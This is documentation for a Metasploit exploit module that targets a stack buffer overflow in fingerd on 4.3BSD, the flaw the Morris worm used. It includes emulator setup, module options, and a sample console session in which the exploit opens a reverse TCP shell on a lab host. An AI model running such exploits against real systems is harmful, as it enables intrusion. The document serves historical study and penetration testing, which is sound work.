## Vulnerable Application

### Description

This module exploits a stack buffer overflow in `fingerd` on 4.3BSD.

This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*.

### Setup

A Docker environment for 4.3BSD on VAX is available at
<https://github.com/wvu/ye-olde-bsd>.

For manual setup, please follow the Computer History Wiki's
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### 0

This targets `fingerd` version 5.1 from 1985-06-06.

## Options

### RPORT

Set this to the target port. The default is 79 for `fingerd`, but the
port may be forwarded when NAT (SLiRP) is used in SIMH.

### PAYLOAD

Set this to a BSD VAX payload. Currently, only
`bsd/vax/shell_reverse_tcp` is supported.

## Scenarios

### `fingerd` 5.1 on 4.3BSD

```
msf > use exploit/bsd/finger/morris_fingerd_bof
msf exploit(bsd/finger/morris_fingerd_bof) > options

Module options (exploit/bsd/finger/morris_fingerd_bof):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   79               yes       The target port (TCP)


Payload options (bsd/vax/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   @(#)fingerd.c   5.1 (Berkeley) 6/6/85


msf exploit(bsd/finger/morris_fingerd_bof) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(bsd/finger/morris_fingerd_bof) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(bsd/finger/morris_fingerd_bof) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 127.0.0.1:79 - Connecting to fingerd
[*] 127.0.0.1:79 - Sending 533-byte buffer
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58015) at 2020-02-06 15:45:33 -0600

who am i
nobody   tty??   Feb  6 13:45
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun  6 19:55:29 PDT 1986

Would you like to play a game?
```
